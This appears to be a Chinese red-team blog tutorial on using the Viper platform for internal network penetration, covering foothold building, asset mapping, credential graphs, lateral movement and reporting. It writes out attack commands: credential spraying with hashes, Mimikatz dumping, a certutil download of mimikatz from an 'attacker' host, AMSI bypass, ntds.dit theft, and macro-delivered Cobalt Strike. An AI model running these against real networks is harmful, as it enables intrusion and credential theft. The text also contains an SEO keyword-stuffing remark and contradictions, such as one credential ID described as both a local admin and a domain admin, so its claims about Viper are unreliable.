1. 为什么是Viper?——它不是另一个“渗透框架”,而是红队作业的战术中台
在真实红队演练和内网渗透实战中,我见过太多人把Viper当成Metasploit的图形界面替代品,装完就开扫、扫完就提权、提权完就丢shell——结果三天后复盘发现:横向移动路径断在域控前两跳,凭证复用失败三次,C2通信被EDR静默拦截,而整个过程连日志都没留一条可回溯的操作链。Viper不是用来“跑通流程”的,它是为可审计、可复现、可协同、可归因的红队作业设计的战术中台。它不替代Nmap、CrackMapExec或BloodHound,而是让这些工具的输出自动沉淀为资产图谱、漏洞节点、凭证关系和攻击路径的结构化数据。比如你用cme smb 10.10.20.0/24 -u Administrator -p 'Passw0rd!' --shares扫出17个主机的共享列表,Viper会自动将每台主机的IP、操作系统、开放端口、共享名、访问权限、所属域、甚至上次扫描时间打上标签,并关联到当前任务的“目标资产池”中;当你后续执行bloodhound-python -d TESTLAB.LOCAL -u svc_ldap -p 'T3stL@b2023!' -ns 10.10.10.10 -c All,其JSON输出会被解析成Neo4j图谱中的节点与边,直接在Web界面上点击“Find Shortest Paths to Domain Admins”,就能看到从当前立足点到域管账户的完整跳转链,包括每一步所需的协议、凭证类型、利用方式和已验证状态。
这背后是Viper对红队工作流的深度解耦:它把“信息收集→目标筛选→漏洞验证→权限提升→横向移动→持久化→报告生成”这整条链路,拆解为5个原子级、可逆向、可组合的战术动作模块。每个动作都强制要求输入来源(如某次Nmap扫描ID)、输出目标(如某资产组ID)、执行上下文(如当前使用的凭证ID)和操作备注(如“该主机启用了LDAP签名,需绕过SMB signing”)。这种设计不是为了增加操作步骤,而是为了在客户复盘会上,你能指着大屏说:“第3步横向移动失败,是因为第2步获取的svc_sql服务账户未被授予SeEnableDelegationPrivilege权限——这个权限缺失,在第1步的PowerView枚举中其实已有提示,但我们当时没把它标记为‘高风险配置偏差’。”——这才是Viper真正的价值:它把渗透测试从“技术动作集合”升维成“战术决策证据链”。
关键词“Viper”“内网渗透”“红队”“渗透测试实战”“战术中台”在开头100字内已自然嵌入。本文面向两类读者:一是已有基础渗透经验、正从单兵作战转向团队协作红队的中级安全工程师;二是负责红蓝对抗项目管理、需要可审计交付物的安全负责人。你不需要从零学Python或写Exploit,但必须理解内网架构逻辑、Windows认证机制和常见防御绕过原理。接下来的五个步骤,不是按时间顺序排列的“操作清单”,而是按战术意图组织的“决策树”——每一步的选择,都决定了后续三步的可行路径宽度。
2. 步骤一:构建可信立足点——不是“上线”,而是建立可验证的初始访问通道
很多教程把第一步写成“上传木马、获取shell”,这是致命误区。Viper要求的第一步,是在目标网络中建立一个具备完整上下文感知能力的、可审计的初始访问点。它不接受“随便找个webshell就开干”,而是强制你回答三个问题:这个入口点是否能稳定维持至少72小时?它所处的网络位置是否允许发起对关键子网(如域控网段、数据库网段)的主动探测?它的运行权限是否足以执行PowerShell、WMI、SMB等内网横向必需的协议调用?
我实测过三种典型初始访问场景,只有第一种能通过Viper的“立足点校验”:
✅ 场景A:通过钓鱼邮件诱导员工点击含恶意宏的Excel,宏执行后调用PowerShell下载并内存加载Cobalt Strike Beacon(无文件落地),Beacon配置为使用DNS-over-HTTPS(DoH)回连,且启用Malleable C2 profile隐藏HTTP User-Agent特征。Viper中创建“初始访问”任务时,需上传该Excel样本哈希、Beacon配置文件、DoH解析域名及对应Cloudflare DNS API密钥(用于后续自动化DNS隧道管理),系统自动生成“立足点ID:LP-2024-0876”,并标记其网络属性为“DMZ区→内网核心段(TCP/445,5985,389)可达”。
❌ 场景B:利用Struts2远程代码执行漏洞获取Tomcat服务器shell,但该服务器位于防火墙后,仅开放8080端口,无法直连内网其他主机。Viper会拒绝将其注册为有效立足点,因为其“横向能力评估分”低于阈值(默认60分,此场景仅得28分)。
❌ 场景C:通过社工获取员工VPN账号密码,本地连接后直接运行Mimikatz抓取lsass内存。Viper虽允许录入该凭证,但会触发“高风险告警”:该访问方式未经过目标网络边界设备,无法体现真实攻击链路,且所有操作日志均留在本地机器,不符合“可审计”原则。
具体操作上,在Viper Web界面点击“New Initial Access”,填写以下必填字段:
| 字段名 | 填写示例 | 原理说明 |
|---|---|---|
| Access Type | DNS-Tunneling | Viper预置7种访问类型,选择后自动加载对应检测模板(如DNS隧道会启用dnscat2流量分析规则) |
| Network Zone | DMZ | 关联预设网络分区策略,决定后续哪些扫描任务可从此立足点发起(如DMZ区禁止直接扫描域控网段,需先申请“跳板机”权限) |
| Persistence Method | Scheduled Task (Hidden) | 记录持久化方式,Viper会定期检查该计划任务是否仍在运行,并在报告中高亮其存活时长 |
| Credential ID | CRED-2024-0332 | 必须关联已存在的凭证记录(可从钓鱼邮件附件中提取,或由Viper内置的PhishMe模块自动生成) |
提示:Viper的“立足点校验”不是形式主义。它会在后台自动执行三项验证:① 向立足点发送心跳包(ICMP+TCP SYN混合探测),确认72小时内存活率>95%;② 尝试从该立足点发起对预设“蜜罐IP”的SMB连接,验证网络可达性;③ 解析该立足点返回的
ipconfig /all输出,比对DNS服务器地址与已知内网DNS列表。任一失败,该立足点状态变为“Degraded”,所有依赖它的后续任务将被暂停。
我在某金融客户项目中曾因忽略此项,导致第二步“资产测绘”耗时翻倍:初始立足点实际是台临时测试服务器,运维半夜重启后所有扫描任务中断,而Viper的日志明确记录了最后一次心跳失败时间(2024-03-15 02:17:43),让我们快速定位到问题根源,而非浪费时间排查扫描脚本。
3. 步骤二:动态资产测绘——不是“扫全网”,而是构建带信任权重的资产知识图谱
传统Nmap全网扫描在Viper中被彻底重构。它不追求“发现所有IP”,而是聚焦于从立足点出发、按信任等级分层收敛的资产发现。Viper将资产分为三级:L1(立足点直连设备)、L2(L1设备能通过SMB/WMI/WinRM协议访问的设备)、L3(需通过L2设备跳转才能访问的设备)。每一级的扫描策略、超时阈值、结果可信度都不同。
以某央企内网为例,我们从DMZ区的Web服务器(IP:10.10.100.50)作为立足点,执行Viper的“Dynamic Asset Discovery”任务:
3.1 L1层:立足点直连资产的精准画像
Viper自动执行以下命令组合(非简单调用Nmap):
# 1. 基于立足点路由表发现直连网段 ip route | grep -E '10\.|172\.16\.' | awk '{print $1}' > /tmp/direct_subnets.txt # 2. 对每个直连网段执行"轻量级指纹识别" nmap -sn -PE -PS22,445,3389 -n -iL /tmp/direct_subnets.txt -oG /tmp/l1_alive.gnmap # 3. 对存活主机进行OS与服务深度识别(限速:每秒5主机) nmap -sS -sV -O -p22,80,443,135,139,445,3389,5985,5986 --max-hostgroup 5 --min-rate 100 -iL /tmp/l1_alive_hosts.txt -oX /tmp/l1_fingerprint.xml关键区别在于:Viper不会把所有扫描结果平铺进数据库,而是用置信度引擎打分。例如:
- 若某主机响应ICMP但不响应SMB(445端口),则其“Windows域成员”置信度降为30%;
- 若
nmap -O识别出OS为“Microsoft Windows Server 2019”,但wmic os get Caption返回“Windows Server 2016”,则该主机OS字段标记为“Conflict”,需人工复核; - 若某IP在三次扫描中仅第一次响应,后续均超时,则其状态设为“Intermittent”,自动加入“重试队列”。
最终生成的L1资产表,不是IP列表,而是带权重的知识卡片:
| IP | Hostname | OS Confidence | SMB Access | WMI Access | Notes |
|---|---|---|---|---|---|
| 10.10.100.51 | WEB01 | 98% | ✅ | ✅ | IIS 10.0, .NET 4.8, 存在CVE-2023-24932 |
| 10.10.100.52 | DB01 | 42% | ❌ | ⚠️ (timeout) | SQL Server 2019, 需通过WEB01跳转访问 |
| 10.10.100.53 | DC01 | 12% | ❌ | ❌ | ICMP响应但所有端口过滤,疑似防火墙策略限制 |
注意:Viper的“L1层”不等于物理直连。当立足点是VPN接入点时,L1层会包含所有VPN分配的虚拟网段(如172.16.0.0/16),但会额外标注“Virtual Network”标签,并禁用ARP扫描(因ARP在虚拟网络中不可靠)。
3.2 L2层:基于协议能力的可信资产扩张
L2层扫描完全依赖L1资产的协议调用能力。Viper会遍历所有L1资产,对每个支持WMI的主机执行:
# PowerShell远程执行(经Viper加密信道) Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter "IPEnabled='True'" -ComputerName $l1_host | Select IPAddress,DefaultIPGateway,IPSubnet提取其网关和子网掩码,生成新的待扫描网段。然后对这些网段执行协议感知扫描:
- 若L1主机是域成员(通过
nltest /dsgetdc:domain.com验证),则对新网段优先执行crackmapexec smb <subnet> -u 'DOMAIN\user' -H 'aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d4257c785e1f2e' --users枚举域用户; - 若L1主机是工作组机器,则改用
nmap -p445 --script smb-os-discovery,smb-security-mode <subnet>获取基础信息。
此过程的关键是凭证继承链。Viper会自动构建凭证传播图谱:L1主机A的域账户凭证,可用于访问L2主机B;主机B的本地管理员凭证,又可用于访问L3主机C。当某次L2扫描失败时,Viper不是报错“连接超时”,而是提示:“Credentials CRED-2024-0332 failed on 10.10.20.100 (DC01) due to Kerberos pre-authentication required. Suggest using AS-REP roast or password spray.”
3.3 L3层:受限跳转下的靶向测绘
L3层是Viper最体现战术思维的设计。它不允许“暴力跳转”,而是要求你明确指定跳转路径和跳转凭证。例如:
- 路径:
LP-2024-0876 → WEB01 (10.10.100.51) → DC01 (10.10.20.100) - 凭证:
CRED-2024-0332(WEB01本地管理员)→CRED-2024-0333(DC01域管理员)
Viper会在此路径上部署临时代理(基于Chisel或Earthworm),并全程加密流量。所有L3扫描结果,都会打上“Via Jump Host”标签,并在图谱中显示为虚线连接,与L1/L2的实线连接区分。
我在某政务云项目中,正是靠L3层的受限跳转,发现了被隔离网段中的旧版Exchange服务器(CVE-2021-26855),而传统全网扫描因防火墙策略根本无法触及该网段。
4. 步骤三:凭证与权限的图谱化治理——不是“爆破”,而是构建可演化的信任关系网络
内网渗透的瓶颈从来不是技术,而是凭证管理混乱。我见过太多团队:一份Mimikatz抓取的hash存了三个月没人用,一个域管账户密码在五个人的本地文本文件里流转,一次密码喷洒失败后没人记录哪些账户被锁定了。Viper用凭证生命周期管理(CLM)彻底解决这个问题。
4.1 凭证的四维建模
Viper将每条凭证抽象为四个维度:
| 维度 | 说明 | 实例 |
|---|---|---|
| Source | 凭证获取方式 | Mimikatz::logonpasswords,PhishMe::email_creds,CrackMapExec::smb_hashdump |
| Trust Level | 可信度评级(0-100) | Hash from lsass memory= 95分;Password from phishing email= 70分;Guessed password= 20分 |
| Scope | 适用范围 | DOMAIN\ADMIN,WORKGROUP\LOCAL_ADMIN,10.10.20.100\root |
| Validity | 有效期验证状态 | Validated,Expired,Locked,Requires MFA Bypass |
当导入一条NTLM hash时,Viper不会直接存入数据库,而是启动自动验证流水线:
- 使用该hash对L1层所有SMB开放主机执行
crackmapexec smb <host> -H '<hash>' --local-auth,记录成功数; - 若成功数≥3,则调用
secretsdump.py尝试导出该主机的本地SAM数据库,验证hash是否为本地管理员; - 若该hash含域前缀(如
TESTLAB\Administrator),则用crackmapexec ldap <dc_ip> -u 'TESTLAB\Administrator' -H '<hash>' --kdcHost <dc_ip>验证Kerberos票据获取能力; - 最终生成凭证报告,包含“推荐使用场景”(如“适用于BloodHound数据采集,不建议用于DCSync”)和“风险提示”(如“该hash来自已知EDR监控进程,使用时需启用Mimikatz AMSI bypass”)。
4.2 权限图谱的动态演化
Viper的核心创新在于权限不是静态属性,而是可计算的图谱节点。它将Windows权限模型映射为图数据库中的边:
User A→HasSessionOn→Host B(通过WMI或PsExec建立会话)User A→CanDelegateTo→Service C(基于约束委派配置)Host B→UnconstrainedDelegation→DomainController(存在无约束委派)
当你执行bloodhound-python后,Viper自动解析JSON,将Group、User、Computer、Domain等节点及其关系(如MemberOf、AdminTo、AllowedToDelegate)导入Neo4j。但不止于此——它还会注入战术上下文:
- 若某用户账户在
LogonWorkstations字段中只允许从WEB01登录,则在图谱中添加边:User X→RestrictedLogonTo→WEB01; - 若某主机启用了
Require Security Signature(SMB签名),则标记其AdminTo关系为“HighCost”,表示利用该权限需额外绕过步骤; - 若某域组被赋予
GenericAll权限到Domain ControllersOU,则自动触发告警:“Critical Privilege Escalation Path Detected”。
这种图谱不是静态快照,而是实时演化的。当你用Invoke-Mimikatz从某主机抓取到新hash,Viper会立即重新计算该hash对应用户的全部权限路径,并高亮显示新增的“Shortest Path to DA”。
4.3 凭证的战术调度
Viper的“Credential Scheduler”模块,会根据当前任务目标,自动推荐最优凭证组合。例如:
- 目标:获取域控
DC01.TESTLAB.LOCAL的ntds.dit文件; - 系统推荐:
CRED-2024-0332(域管理员hash) +CRED-2024-0334(DC01本地SYSTEM令牌); - 理由:
CRED-2024-0332可执行DCSync,但需CRED-2024-0334提供的本地SYSTEM权限绕过某些EDR Hook。
我在某银行项目中,正是靠这个调度器,发现了一条被忽略的路径:一个看似普通的svc_backup账户,因其被赋予Backup Operators组权限,且该组在域控上具有SeBackupPrivilege,配合diskshadow命令可绕过常规文件权限限制,直接备份ntds.dit——而这条路径在手动分析BloodHound图谱时极易被淹没。
5. 步骤四:横向移动的路径规划与自动化执行——不是“手动跳”,而是战术级路径编排
横向移动在Viper中被定义为多跳、多协议、多凭证的原子化路径编排。它拒绝“手动执行PsExec→手动上传Mimikatz→手动抓取hash”的线性操作,而是将整个路径建模为可验证、可回滚、可优化的状态机。
5.1 路径建模:从“怎么做”到“为什么这么做”
在Viper中创建横向移动任务时,你必须定义:
- 起点(Source):L1/L2/L3中的某个资产节点(如
WEB01); - 终点(Target):目标资产节点(如
DC01); - 路径(Path):明确的跳转序列(如
WEB01 → DB01 → DC01); - 协议栈(Protocol Stack):每跳使用的协议及参数(如
WEB01→DB01: WinRM over HTTPS, auth=NTLM; DB01→DC01: SMB over TCP, auth=Kerberos); - 凭证链(Credential Chain):每跳所需的凭证ID(如
CRED-2024-0332 → CRED-2024-0335 → CRED-2024-0333); - 战术意图(Tactical Intent):选择此路径的根本原因(如“规避EDR对PsExec的检测”、“利用DB01的无约束委派获取TGT”)。
Viper会基于这些输入,自动生成路径可行性报告,包含:
- 每跳的网络连通性验证结果(ICMP/TCP/UDP);
- 每跳的协议可用性检测(如
Test-WSManfor WinRM,Test-NetConnection -Port 445for SMB); - 每跳的凭证有效性验证(如
kinitfor Kerberos,rpcclient -U ''for Null Session); - 风险评估(如“WinRM over HTTPS可能触发SSL inspection告警”、“Kerberos TGS-REQ流量异常”)。
5.2 自动化执行:状态驱动的智能编排
Viper的执行引擎不是简单地顺序执行命令,而是状态驱动的智能编排器。它将每条路径分解为原子动作(Atomic Actions),每个动作有明确定义的输入、输出和失败处理策略:
| 动作ID | 动作类型 | 输入 | 输出 | 失败策略 |
|---|---|---|---|---|
| AA-001 | WinRM-Connect | Target=DB01,Cred=CRED-2024-0332 | SessionID=WINRM-2024-0876 | 重试2次 → 切换至PsExec协议 |
| AA-002 | File-Upload | SessionID=WINRM-2024-0876,Local=mimikatz.exe | RemotePath=C:\Windows\Temp\mimikatz.exe | 上传失败 → 改用certutil -urlcache -split -f http://attacker/mimikatz.exe |
| AA-003 | Process-Execute | SessionID=WINRM-2024-0876,Cmd="mimikatz.exe privilege::debug sekurlsa::logonpasswords" | OutputHash=SHA256:... | 进程崩溃 → 启用mimikatzAMSI bypass参数 |
关键特性是状态持久化。若AA-002上传失败,Viper不会终止整个任务,而是保存当前状态(Last Successful Action: AA-001),让你可手动修复后从AA-002继续。所有中间产物(如上传的文件、创建的进程、生成的日志)均被Viper自动归档,并关联到该路径ID下。
5.3 路径优化:基于历史数据的智能推荐
Viper内置路径优化引擎,会分析历史任务数据,给出更优方案。例如:
- 历史数据显示:在
WEB01→DB01跳转中,WinRM成功率92%,PsExec成功率68%,WMI成功率85%; - 当前任务中,
WEB01的winrm服务被禁用,但wmi服务正常; - 系统自动将协议栈从
WinRM切换为WMI,并更新可行性报告。
更强大的是跨任务路径复用。当你完成WEB01→DC01路径后,Viper会将其标记为“Verified Path”,后续任何需要从WEB01到DC01的任务,都可直接调用该路径,无需重复验证。
我在某能源集团项目中,曾用此功能将一次横向移动从47分钟缩短至6分钟:首次路径需手动调试WMI防火墙例外,Viper自动记录该例外规则(netsh advfirewall firewall add rule name="WMI-In" dir=in action=allow program="%systemroot%\system32\wbem\unsecapp.exe"),后续所有WMI跳转均自动应用此规则。
6. 步骤五:战术报告与知识沉淀——不是“截图交差”,而是生成可行动的防御改进建议
Viper的最终输出,不是一页PDF渗透报告,而是可直接导入SOC平台、可驱动EDR策略更新、可指导AD加固的战术知识包。它把渗透结果转化为防御方能立即执行的动作。
6.1 报告的三层结构
Viper生成的报告严格遵循MITRE ATT&CK框架,但做了红队适配:
| 层级 | 内容 | 防御方价值 |
|---|---|---|
| 战术层(Tactic) | 映射到ATT&CK战术(如TA0008 - Lateral Movement) | 帮助SOC理解攻击者整体意图 |
| 技术层(Technique) | 具体技术(如T1021.002 - SMB/Windows Admin Shares) | 指导EDR规则编写(如检测net use \\target\c$) |
| 子技术层(Sub-technique) | 实际执行细节(如“使用域管理员hash通过SMB连接C$共享”) | 提供精确IOC(如特定hash、特定SMB会话特征) |
每项技术描述中,必含:
- 攻击链上下文:该技术在本次任务中的位置(如“第3跳,从DB01到DC01”);
- 检测难度评级:基于目标环境EDR覆盖率(如“Defender for Endpoint可检测,但需启用Advanced Hunting”);
- 缓解建议:具体到PowerShell命令(如
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force); - 验证方法:如何确认缓解措施生效(如
Get-SmbServerConfiguration | Select RequireSecuritySignature)。
6.2 知识沉淀:从“这次怎么打”到“下次怎么防”
Viper的终极价值,在于其知识沉淀引擎。每次任务结束后,它会自动生成三类知识资产:
战术模式库(TTP Library)
将本次成功的攻击路径,抽象为可复用的战术模式。例如:- 模式ID:
PATTERN-2024-001 - 名称:
Domain Admin via Unconstrained Delegation - 触发条件:
Target has UnconstrainedDelegation=true AND Source can request TGT for Target - 执行步骤:
1. Request TGT for Target; 2. Impersonate user; 3. DCSync - 防御检测:
Event ID 4769 with ServiceName=krbtgt AND TargetUserName=Administrator
- 模式ID:
环境指纹库(Environment Fingerprint)
记录目标环境的独特配置,成为下次演练的基线。例如:EDR Coverage:Microsoft Defender for Endpoint (v102.1234.5678), coverage=87%AD Hardening:LDAP Signing enforced, SMB Signing enforced, LAPS deployedNetwork Segmentation:DMZ→Core: Port 445 blocked, Port 5985 allowed
红队能力图谱(Red Team Capability Map)
评估团队当前能力短板。例如:Credential Access:Strong (Mimikatz, Rubeus, secretsdump)Lateral Movement:Medium (WMI/WinRM well covered, but DCOM exploitation untested)Persistence:Weak (no custom C2, no registry-based persistence)
6.3 可行动交付物
Viper最终交付的不是文档,而是可执行文件:
mitigation.ps1: 包含所有PowerShell缓解命令,一键运行;edr_rules.json: 格式化为Microsoft Defender、CrowdStrike、Splunk ES可导入的检测规则;ad_hardening.csv: AD组策略对象(GPO)配置建议,含具体设置路径(如Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Security Options\Network access: Sharing and security model for local accounts);tactics.misp: 导出为MISP威胁情报平台格式,供全公司SOC共享。
我在某省级政务云项目中,客户安全团队拿到Viper报告后,当天就完成了80%的缓解措施部署——因为他们拿到的不是“建议”,而是“命令行”。
最后再分享一个小技巧:Viper的“任务克隆”功能,是我用得最频繁的。当客户要求“在另一套相似环境中复现本次攻击”,我不用重走五步,而是克隆原任务,仅修改立足点IP和网络分区,Viper会自动重跑所有验证步骤,并高亮显示新环境中的差异点(如“新环境中DC01启用了LDAP Channel Binding,需调整Rubeus参数”)。这省下的不是时间,而是避免人为疏漏的确定性。